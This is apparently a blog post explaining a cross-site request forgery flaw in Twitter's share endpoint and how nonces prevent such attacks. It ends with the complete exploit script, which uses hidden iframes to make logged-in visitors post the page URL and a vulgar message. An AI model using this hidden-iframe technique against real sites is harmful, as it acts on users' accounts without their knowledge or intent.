I mean, who didn’t see this coming?
Twitter allows a URL to send a tweet. Many sites and retweet buttons and such rely on it. No POST, no nonce, nothing. Just a simple HTTP GET triggers a tweet. Clearly, someone was going to exploit this eventually.
Authentication is not the same as intention. You can’t just determine that a user is allowed to do something, but also that they intended to do something. When intent is not established, and especially when the form can be submitted via a GET request, it makes these kinds of exploits child’s play, as you can see by the complete exploit code below. It’s called a cross-site request forgery, or CSRF (or XSRF).
How do you determine intention? You’ll want to avoid accepting information over GET, but really that does nothing. Next step would be to check the HTTP referrer, but those can be spoofed. Since that isn’t foolproof, then you need to use something like a nonce check, like what we use in WordPress. For Twitter to secure the site from a CSRF vulnerability, they’ll be breaking a lot of embedded tools and buttons on many, many sites, so for now, they’ve apparently disabled the share endpoint that was exploited.
For the WordPress developers out there, probably the best read out there is this post by Mark Jaquith, from four years ago. It still applies as if it was written yesterday. For the non-WordPress developers, it’s still a great read as it explains what’s really going on, how WordPress prevents it, and why intention is important (if that isn’t obvious enough).
Once again, Twitter users are victims, thanks to the lack of basic security practices.
Update: Check out TechCrunch’s coverage. They quote a certain commenter who explained the issue. 🙂
Here’s the exploit:
<script type="text/javascript"> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body")[0].appendChild(el1); document.getElementsByTagName("body")[0].appendChild(el2); </script>